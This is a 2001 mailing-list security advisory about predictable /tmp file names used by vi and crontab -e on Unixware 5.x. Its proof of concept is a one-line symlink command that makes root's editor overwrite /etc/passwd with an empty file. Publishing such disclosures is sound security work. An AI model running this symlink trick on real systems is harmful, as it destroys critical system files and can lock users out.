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From: Richard Johnson (thiefsnosoft.com)
Date: Tue May 22 2001 - 13:15:16 CDT

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    Strategic Reconnaissance Team Security Advisory(SRT2001-9)
    Topic: vi and crontab -e /tmp issues
    Vendor: Santa Cruz Operations
    Release Date: 05/07/01
    .: Description
    vi makes poor use of /tmp. File names are very predictable

    .: Impact
    as a user ln -s /etc/passwd /tmp/Ex04161
    wait for root to run vi and viola when he does he will clobber /etc/passwd
    with a null file

    .: Workaround
    don't use vi or crontab -e

    .: Systems Affected
    Unixware 5.x

    .: Proof of Concept
    ln -s /etc/passwd /tmp/Ex04161

    .: Vendor Status
    A copy of this advisory was mailed to their attention

    .: Credit
    Kevin Finisterre

    ęCopyright 2001 Secure Network Operations , Inc. All Rights Reserved.
    Strategic Reconnaissance Team | reconsnosoft.com
    http://recon.snosoft.com | http://www.snosoft.com